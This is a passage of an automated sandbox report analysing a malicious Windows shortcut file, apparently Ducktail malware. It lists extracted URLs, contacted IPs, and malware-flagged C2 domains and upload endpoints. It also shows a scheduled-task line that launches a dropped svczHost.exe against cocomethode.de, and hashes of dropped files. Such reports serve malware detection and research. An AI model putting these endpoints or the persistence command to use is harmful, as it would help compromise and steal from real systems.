https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	powershell.exe, 00000002.00000002.3880486051.000001A0D3D2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.cq-	powershell.exe, 00000007.00000002.4043091425.000002792A308000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsof	powershell.exe, 00000007.00000002.4043091425.000002792A2E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.4000632893.0000027912BDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C02332E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	false		high
https://github.com/Pester/Pesterh	powershell.exe, 00000002.00000002.3880486051.000001A0D4E80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4E9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.000002791320F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft.c	powershell.exe, 00000002.00000002.3899389741.000001A0EBF1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	powershell.exe, 00000002.00000002.3898320173.000001A0EBC48000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4206777413.000001BADACD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4891586599.000001C03AE0E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4914809725.000001C03C287000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367966996.000001B556A24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5363571234.0000026463B1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.openxml	powershell.exe, 00000007.00000002.4046461207.000002792A7DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policyet	svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsofa	powershell.exe, 00000007.00000002.4043091425.000002792A2E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5	powershell.exe, 0000000C.00000002.4347645237.000001C0231BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.pngXz	powershell.exe, 00000002.00000002.3880486051.000001A0D3D2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca	powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/Zd(	powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/nativeaot-c	svczHost.exe, myRdpService.exe	false		high
https://cocomethode.de	powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.000002791298A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C0248E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C023182000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.o#	powershell.exe, 00000007.00000002.4046461207.000002792A7DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1	powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9	powershell.exe, 00000007.00000002.4000632893.000002791298A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/scin	svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366821786.000001B556337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.css	powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa	powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/runtime	powershell.exe, 0000000C.00000002.4814981767.000001C0330C0000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026467A48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF647322000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000000.4325699293.00007FF647322000.00000002.00000001.01000000.00000009.sdmp	false		high
https://aka.ms/dotnet-warnings/	powershell.exe, 0000000C.00000002.4814981767.000001C0330C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.5367418387.0000026467A48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF647322000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000000.4325699293.00007FF647322000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600;	svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/PesterXz	powershell.exe, 00000002.00000002.3880486051.000001A0D3D2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000012.00000002.5365368942.000001B555AC4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ocsp.quovadisoffshore.com0	powershell.exe, 00000002.00000002.3898320173.000001A0EBC48000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4206777413.000001BADACD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4891586599.000001C03AE0E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4914809725.000001C03C287000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367966996.000001B556A24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5363571234.0000026463B1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904	powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://.jpg	powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://signup.live.com/signup.aspx	svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS%3C/ds:KeyName%3E	svchost.exe, 00000012.00000002.5365931182.000001B555B13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.3895073118.000001A0E3B81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3895073118.000001A0E3CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4FF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4198168194.000001BAD2EB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4198168194.000001BAD2D25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027913359000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4035721658.0000027921D86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000007.00000002.4000632893.0000027913115000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000012.00000002.5366821786.000001B556337000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5	powershell.exe, 0000000C.00000002.4347645237.000001C022DB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.pngh	powershell.exe, 00000002.00000002.3880486051.000001A0D4E80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4E9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.000002791320F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cocomethode.de:443/	svczHost.exe, 00000014.00000002.5365455806.00000264670A8000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5365455806.00000264670AE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc	powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/	svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/b0c	powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.m	powershell.exe, 00000007.00000002.4043091425.000002792A308000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.88.71.29	unknown	United States		18978	ENZUINC-US	false
172.67.128.139	cocomethode.de	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573011
Start date and time:	2024-12-11 12:41:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	m9c7iq9nzP.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@82/63@1/2
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.109.8.89, 52.111.236.23, 52.113.194.132, 40.126.29.5, 20.190.157.2, 40.126.29.13, 40.126.29.10, 20.190.157.12, 40.126.29.14, 40.126.29.9, 20.190.157.14, 104.208.16.88, 142.250.105.94
Excluded domains from analysis (whitelisted): ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, prod.configsvc1.live.com.akadns.net, www.tm.v4.a.prd.aadg.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, cus-config.officeapps.live.com, s-0005-office.config.skype.com, onedscolprdcus08.centralus.cloudapp.azure.com, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, ecs-office.s-0005.s-msedge.net, s-0005.s-msedge.net, login.live.com, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, officeclient.microsoft.com, ecs.office.trafficmanager.net, www.gstatic.com, nexusrules.officeapps.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target myRdpService.exe, PID 4644 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1976 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2720 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3152 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4212 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6280 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6760 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8012 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8496 because it is empty
Execution Graph export aborted for target svczHost.exe, PID 9124 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: m9c7iq9nzP.lnk

Simulations

Behavior and APIs

Time	Type	Description
06:43:58	API Interceptor	1797x Sleep call for process: powershell.exe modified
06:46:20	API Interceptor	8x Sleep call for process: myRdpService.exe modified
12:44:43	Task Scheduler	Run new task: zServicecakoi10 path: C:\Windows\Temp\svczHost.exe s>cakoi10 cocomethode.de

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.88.71.29	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/command/ws
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
172.67.128.139	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cocomethode.de	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	http://balmyrind.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
ENZUINC-US	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.203.163.1
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.202.51.86
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.89.70.126
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	104.202.0.10
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\myRdpService.exe	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse
C:\Windows\Temp\svczHost.exe	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8313997771067303
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxcxl9Il8u4LSgZosGXRWDEcj6H0pulG7qd1rc:vwY6JSsGhWDU0pulG7p
MD5:	E77D530D79EE23D0544DB82B24E05743
SHA1:	D8880752F0F5E7CB2FA72BC4702FE77A515B8F90
SHA-256:	1AB8D6027271A05C2FD02EB481B4B9BF6F7E166D67F3663066E20EE40BE3EED7
SHA-512:	35A0AEBE3C80B01F757AB1F96F1C5F47F4DE40C36BB5F00CC34210D33D4A5218A06C510EB3E30CDA3FB2BF85A8261C48EE6A3F104D84ACCD22E3CDDBFC366F7A
Malicious:	false
